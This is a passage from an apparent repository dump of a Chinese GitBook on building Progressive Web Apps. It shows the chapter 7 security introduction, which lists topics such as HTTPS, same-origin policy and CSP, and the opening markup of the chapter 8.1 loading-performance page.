class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >第7章 安全</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5B89;&#x5168;\"><b></b>&#x5B89;&#x5168;</a></li></ul></div><a href=\"#&#x5B89;&#x5168;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x5B89;&#x5168;\"><a name=\"&#x5B89;&#x5168;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5B89;&#x5168;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5B89;&#x5168;\" class=\"plugin-anchor\" href=\"#&#x5B89;&#x5168;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5B89;&#x5168;</h1>\n<p>&#x4E0A;&#x4E00;&#x7AE0;&#xFF0C;&#x6211;&#x4EEC;&#x4ECB;&#x7ECD;&#x4E86; PWA &#x4E2D;&#x4E0E;&#x7528;&#x6237;&#x7559;&#x5B58;&#x76F8;&#x5173;&#x7684;&#x5185;&#x5BB9;&#x3002;&#x5728;&#x6784;&#x5EFA; PWA &#x5E94;&#x7528;&#x65F6;&#xFF0C;&#x5982;&#x4F55;&#x4FDD;&#x8BC1;&#x7528;&#x6237;&#x7684;&#x4FE1;&#x606F;&#x5B89;&#x5168;&#xFF0C;&#x4E5F;&#x662F;&#x4E00;&#x4E2A;&#x5341;&#x5206;&#x91CD;&#x8981;&#x7684;&#x8BDD;&#x9898;&#x3002;Web &#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x7684;&#x4F7F;&#x7528;&#x8303;&#x56F4;&#x975E;&#x5E38;&#x5E7F;&#x6CDB;&#xFF0C;&#x5176;&#x5B89;&#x5168;&#x95EE;&#x9898;&#x4E5F;&#x65E5;&#x76CA;&#x7A81;&#x663E;&#xFF0C;&#x4EE3;&#x7801;&#x4E2D;&#x7684;&#x7EC6;&#x5C0F;&#x6F0F;&#x6D1E;&#x968F;&#x65F6;&#x53EF;&#x80FD;&#x88AB;&#x653B;&#x51FB;&#x8005;&#x5229;&#x7528;&#xFF0C;&#x5BFC;&#x81F4;&#x7528;&#x6237;&#x7684;&#x9690;&#x79C1;&#x4FE1;&#x606F;&#x6CC4;&#x9732;&#x3001;&#x8D22;&#x4EA7;&#x635F;&#x5931;&#x3002;&#x672C;&#x7AE0;&#x8282;&#x5C06;&#x4ECE;&#x4EE5;&#x4E0B;&#x51E0;&#x4E2A;&#x89D2;&#x5EA6;&#x5165;&#x624B;&#xFF0C;&#x5E2E;&#x52A9;&#x60A8;&#x6784;&#x5EFA;&#x66F4;&#x52A0;&#x5B89;&#x5168;&#x7684; PWA &#x5E94;&#x7528;&#x3002;</p>\n<ul>\n<li><strong>&#x4F7F;&#x7528; HTTPS &#x4FDD;&#x62A4;&#x7AD9;&#x70B9;&#x5B89;&#x5168;</strong></li>\n<li><strong>&#x540C;&#x6E90;&#x7B56;&#x7565;</strong></li>\n<li><strong>CSP(&#x5185;&#x5BB9;&#x5B89;&#x5168;&#x7B56;&#x7565;)</strong></li>\n<li><strong>&#x5178;&#x578B;&#x7684;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;</strong></li>\n</ul>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"chapter06/5-payment-request-api.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 6.5 Payment Request API\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"chapter07/1-https.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 7.1 使用 HTTPS 保护站点安全\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"第7章 安全\",\"level\":\"1.8\",\"depth\":1,\"next\":{\"title\":\"7.1 使用 HTTPS 保护站点安全\",\"level\":\"1.8.1\",\"depth\":2,\"path\":\"chapter07/1-https.md\",\"ref\":\"chapter07/1-https.md\",\"articles\":[]},\"previous\":{\"title\":\"6.5 Payment Request API\",\"level\":\"1.7.5\",\"depth\":2,\"path\":\"chapter06/5-payment-request-api.md\",\"ref\":\"chapter06/5-payment-request-api.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter07.md\",\"mtime\":\"2019-06-19T10:37:42.390Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter08/1-loading-performance.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>8.1 加载性能  · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"2-rendering-performance.html\" />\n    \n    \n    <link rel=\"prev\" href=\"../chapter08.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a 